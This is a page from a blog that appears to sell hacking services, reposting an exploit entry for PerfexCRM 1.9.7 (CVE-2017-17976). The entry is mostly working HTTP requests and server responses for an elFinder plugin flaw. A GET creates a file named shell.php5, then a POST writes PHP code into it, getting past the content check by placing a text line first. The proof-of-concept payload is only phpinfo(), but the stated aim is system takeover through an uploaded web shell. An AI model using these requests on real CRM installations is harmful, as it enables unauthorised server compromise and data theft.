Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86382459

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: PerfexCRM 1.9.7 – Unrestricted php5 File upload 
# Exploit Author: Ahmad Mahfouz 
# Description: PerfexCRM 1.9.7 prone to unrestricted file upload that lead to system take over by misconfigured elfinder plugin
# Contact: http://twitter.com/eln1x
# Date: 12/01/2018
# CVE: CVE-2017-17976
# Version: v1.9.7 
# Software Link: https://www.perfexcrm.com/

 

# bypassing the misconfigured file upload with file .php5

 

GET admin/utilities/elfinder_init?cmd=mkfile&name=shell.php5&target=[dir]


JSON Response:

{"added":[{"isowner":false,"mime":"text\/plain","read":1,"write":1,"size":"0","hash":"[XXX]","name":"shell.php5","phash":"[XXXX] "}],"changed":[{"isowner":false,"mime":"directory","read":1,"write":1,"size":0,"hash":"[ XXX]","name":"asa","phash":"[ XXX] ","volumeid":"[XXX]"}]}

 

#bypass the file content restriction by adding TEXT line to represent mime type text


Request


POST /admin/utilities/elfinder_init HTTP/1.1

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Connection: close

 

cmd=put&target=[folder]&encoding=UTF-8&content=demo

 

newline to represent text mime type

<?php

    phpinfo();

?>

 

HTTP/1.1 200 OK
Content-Type: application/json
Connection: close
Content-Length: 167

 

{"changed":[{"isowner":false,"mime":"text\/plain","read":1,"write":1,"size":"44","hash":"[XXX]","name":"shell.php5","phash":"[XXX]]"}]}